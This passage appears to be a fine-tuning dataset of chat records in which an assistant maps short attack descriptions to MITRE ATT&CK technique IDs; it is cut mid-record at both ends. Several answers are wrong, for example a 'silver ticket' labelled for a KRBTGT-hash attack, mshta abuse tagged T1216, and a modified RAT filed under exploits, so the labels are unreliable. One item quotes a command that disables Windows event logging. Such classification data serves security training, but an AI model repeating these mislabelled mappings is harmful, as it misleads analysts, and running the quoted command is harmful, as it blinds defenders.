                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a vulnerable firmware update process to flash a compromised EFI image onto a workstation, enabling code execution during the boot sequence."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor repackages a password manager client with embedded ransomware, distributing it through a phishing campaign."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses an unquoted registry entry for a service's ImagePath, placing a malicious file in a higher-precedence folder so the system runs it instead of the legitimate executable."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up a serverless compute environment via Oracle Functions to run unauthorized scripts."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by dropping a malicious LSASS driver that is listed in the system's driver loading sequence."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a compromised IoT device to send a flood of MQTT messages to a broker, exhausting the broker’s processing capabilities."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder authenticates via a valid VPN account after purchasing credentials on the dark web."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After phishing the victim, the attacker copies the session cookie from the victim's HTTP traffic capture and replays it to maintain persistence without needing credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed a fake CLR profiler by setting the COR_PROFILER environment variable, allowing the attacker to intercept and manipulate API calls."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Privilege escalation by adding a privileged role to an existing service account in a container orchestration platform."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse mshta.exe to run custom JavaScript payloads, effectively proxying script execution via a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script encodes data using uuencode before transmitting over SMTP."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers drop a malicious PowerShell script onto the target system by uploading it through a malicious web form."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan downloads and executes a tool that reads the Credential Manager database file (Vault/*.vpol) to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a service named \"svchost\" with a custom binary path to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a corporate intranet's private knowledge base to search for internal design documents of the victim organization."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor harvests data from the PassiveTotal platform, gathering DNS resolution data that reveals external IP addresses linked to internal assets."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a network tap to record all inbound and outbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware adjusts the internal state tables of a firewall daemon in memory to disable security checks."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious VBA macro is embedded in an Outlook form and set to run on Outlook launch, utilizing the Outlook Forms sub‑technique."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers design a malicious PowerShell script that acts as a downloader."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects a driver that updates the KernelCallbackTable, enabling execution flow hijacking in the kernel."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a stolen OAuth token to enumerate and clone private repositories from a cloud-based source control platform."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a scheduled task to run a command that adds a privileged domain account nightly."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the symmetric encryption algorithm to use a 56-bit key instead of the default 256-bit key, thereby reducing the key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a compromised web application’s file upload feature to place a webshell that can be used to download additional tools."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a command into the AllUsersAllHosts profile, causing code execution whenever any user opens PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes inserting a scheduled task via Group Policy Preferences that runs a VBScript to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed a bootkit in the system's TPM firmware, enabling code execution before the OS kernel is initialized."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a spearphishing email with a malicious hyperlink that triggers an Office macro to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script enumerates virtualization-specific hardware identifiers, such as VirtualBox Guest Additions, to decide whether to self-destruct."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment drops a keylogging component that runs with SYSTEM privileges and writes captured data to the Windows Registry."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor reads the file C:\\Windows\\inf\\setupapi.dev.log to map installed drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilizes the \"installutil.exe\" utility to install a .NET service that runs a malicious assembly with high privileges on the target host."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a cross-site scripting vulnerability, the adversary steals HTTP cookies containing session credentials and later uses them to maintain access without re-authentication."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary acquires a set of custom malware binaries from a private developer."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performed a GET request to /wiki/rest/api/content to retrieve wiki pages containing passwords."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a Kubernetes CronJob that runs a payload every hour on compromised worker nodes."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell code invokes `icacls` to grant 'Modify' rights to the Everyone group on a web server’s application directory."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary acquires a legitimate remote access tool (RAT) from an online repository and modifies it for stealth."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the synchronization process between Active Directory and Azure AD to create user accounts that bypass MFA and obtain access to SaaS applications."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates network resources in a legacy cloud region not covered by the victim's policy, using them as a staging ground for command-and-control traffic."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators of the malware issue the command 'sc config eventlog start= disabled' to stop event collection."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends a crafted REST request to the container runtime API to start a container with a backdoor binary."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a malicious batch script via the \"cmd.exe\" interpreter to modify firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors recompile a legitimate game client with added spyware before releasing it on third‑party download sites."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a phishing email with a malicious hyperlink disguised as a calendar invitation, leading recipients to a malicious website that exploits a browser vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest credentials from GPP's local user and service account entries that are saved in unsecured XML files on domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code employs the native function NtWriteVirtualMemory to overwrite code sections in memory."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised CI/CD pipeline, the malicious actor harvests stored deployment tokens from secret management tools and uses them to deploy malicious code."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor used a compromised Microsoft 365 admin account to disable security alerts and exfiltrate data from SharePoint Online."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts passive DNS investigations to uncover C2 infrastructure linked to the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group creates a malicious browser extension and publishes it on a legitimate extension marketplace."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses a misconfigured Azure Functions endpoint to execute unauthorized code in the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware includes a module that automatically discovers and configures a proxy server to route its command traffic, ensuring resilience against network disruptions."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code establishes a covert channel through hidden SMB traffic, then later leverages an SSH tunnel to relay commands and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Kubernetes pod uses the kubelet HTTPS endpoint without TLS verification, allowing extraction of the service account token from the pod's metadata API."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses the system's built‑in scheduler to execute a curl command at 3 AM, downloading additional payloads from a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious tool calls the Windows API NetUserEnum to enumerate local user accounts on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor disables Windows Defender real‑time protection via registry edits."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script encodes its payload in JavaScript using escape sequences to hide code."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through querying open DNS archives, the malicious actor collects historic DNS queries to profile the victim’s external infrastructure changes over time."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is unpacked from an obfuscated JavaScript file using a custom decoder routine."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor employs the TLS handshake to embed encrypted command data in the client hello message."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised VPN gateway, the threat actor performed token replay attacks by capturing and reusing previously intercepted MFA tokens."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts credentials by dumping the Windows SAM registry hive using a tool like pwdump."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the trust provider registration process to load a rogue module that grants elevated permissions to unsigned payloads."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting a Denial of Service (DoS) attack to overwhelm system resources"
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor writes a Python script that reads credentials from memory and exfiltrates them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this campaign, the actors craft .lnk files with malicious icons to evade detection, letting the shortcut point to a hidden executable in the temp directory."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages WMI to set up an event-driven execution that fires when a particular file is accessed, launching the payload silently."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By extracting the KRBTGT hash, the adversary creates a silver ticket for the file server to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a compromised certificate authority to issue rogue code signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a malicious DLL as a Windows time service provider to achieve persistence on system boot."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By performing a replay attack on captured SSH packets, the adversary reestablishes a previous session and continues operations under the victim’s credentials."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exploits the Bluetooth PAN to tunnel data to an external server through a paired smartphone."
            },
            {
                "role": "assistant",
